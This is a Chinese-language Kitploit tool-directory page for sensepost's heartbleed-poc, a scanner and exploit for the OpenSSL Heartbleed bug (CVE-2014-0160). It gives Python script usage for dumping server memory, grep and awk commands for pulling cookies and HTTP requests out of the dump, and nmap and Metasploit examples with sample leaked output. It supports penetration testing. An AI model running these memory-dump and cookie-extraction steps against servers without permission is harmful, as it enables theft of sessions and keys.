Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
heartbleed-poc — 测试SSL心跳漏洞(CVE-2014-0160) | Kitploit
工具/GitHubGitHub/sensepost/heartbleed-poc
漏洞扫描器漏洞利用信息收集Web安全网络安全渗透测试
GitHubsensepost/heartbleed-poc

heartbleed-poc

测试SSL心跳漏洞(CVE-2014-0160)

查看仓库
17084312年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

HeartBleed 测试与利用工具

注意 目前几乎所有工具(nmap、metasploit、nessus,甚至burp)都已拥有最新版本的扫描器。这些工具是在早期工具仍在开发时发布的。现在请优先使用那些工具,而非这些。

工具指南

  • 若要进行大规模扫描,目前NMAP脚本是最佳选择。
  • 如需支持最多的协议(STARTTLS),请使用修改后的Metasploit脚本。
  • 若要进行实际利用,请使用Python脚本(针对非SMTP的STARTTLS需要修改)。

Python 工具

用法: heartbleed-poc.py server [options]

测试SSL心跳漏洞 (CVE-2014-0160)

选项: -h, --help 显示此帮助信息并退出 -p PORT, --port=PORT 要测试的TCP端口 (默认: 443) -n NUM, --num=NUM 如果存在漏洞,发送的心跳包数量(定义你能取回多少内存)(默认: 1) -f FILE, --file=FILE 转储内存写入的文件名 (默认: dump.bin) -q, --quiet 不显示内存转储内容 -s, --starttls 检查STARTTLS(目前仅支持SMTP)

示例

  • 常规扫描,访问端口443,迭代1次: python heartbleed-poc.py example.com

  • 内存转储扫描,发送100次请求并将输出保存到二进制文件dump.bin: python heartbleed-poc.py -n100 -f dump.bin example.com

为确保获取堆的不同部分,请确保服务器处于繁忙状态,否则可能会得到重复数据。

  • 使用STARTTLS检查邮件服务器(例如端口25): python heartbleed-poc.py -s -p 25 example.com

  • 以前存在 -v 开关用于显式指定TLS版本,现已自动检测并移除。

查找有价值信息

二进制文件中会包含有价值的信息,以下是查找这些信息的简单方法:

  • HTTP请求: awk '/[HPG][UEO][AST][DT ]/,/Connection/' dump.bin

  • Cookie: grep -a "^Cookie:" dump.bin

  • 有趣的键值对: pcregrep -ao "[A-Za-z0-9_-]+=[0-9a-zA-Z]+" dump.bin

NMAP NSE 脚本

用法: nmap --script=ssl-heartbleed -p 443

示例输出:

Starting Nmap 6.41SVN ( http://nmap.org ) at 2014-04-09 17:27 SAST Nmap scan report for <example.org> (1.2.3.4) Host is up (0.0068s latency). PORT STATE SERVICE 443/tcp open https | ssl-heartbleed: | VULNERABLE: | The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption. | State: VULNERABLE | Risk factor: High | Description: | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves. |
| References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 | http://www.openssl.org/news/secadv_20140407.txt |_ http://cvedetails.com/cve/2014-0160/

Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds

Metasploit 模块

msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(openssl_heartbleed) > show options

Module options (auxiliary/scanner/ssl/openssl_heartbleed):

Name Current Setting Required Description


RHOSTS yes 目标地址范围或CIDR标识符 RPORT 443 yes 目标端口 STARTTLS None yes 与STARTTLS配合使用的协议,None为不使用STARTTLS(可用值: None, SMTP, IMAP, JABBER, POP3, FTP) THREADS 1 yes 并发线程数 TLSVERSION 1.0 yes 使用的TLS版本(可用值: 1.0, 1.1, 1.2)

msf auxiliary(openssl_heartbleed) > set rhosts example.org rhosts => example.org msf auxiliary(openssl_heartbleed) > set STARTTLS FTP STARTTLS => FTP msf auxiliary(openssl_heartbleed) > set PORT 21 PORT => 21 msf auxiliary(openssl_heartbleed) > exploit

[] 37.187.134.197:21 - 尝试通过FTP启动SSL [] 37.187.134.197:21 - 发送Client Hello... [] 37.187.134.197:21 - 发送Heartbeat... [] 37.187.134.197:21 - Heartbeat响应,检查是否有数据泄露... [+] 37.187.134.197:21 - Heartbeat响应存在泄露 [] 37.187.134.197:21 - 泄露的可打印信息: @SE F(CKMIWsf"!98532ED/A [] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

下载工具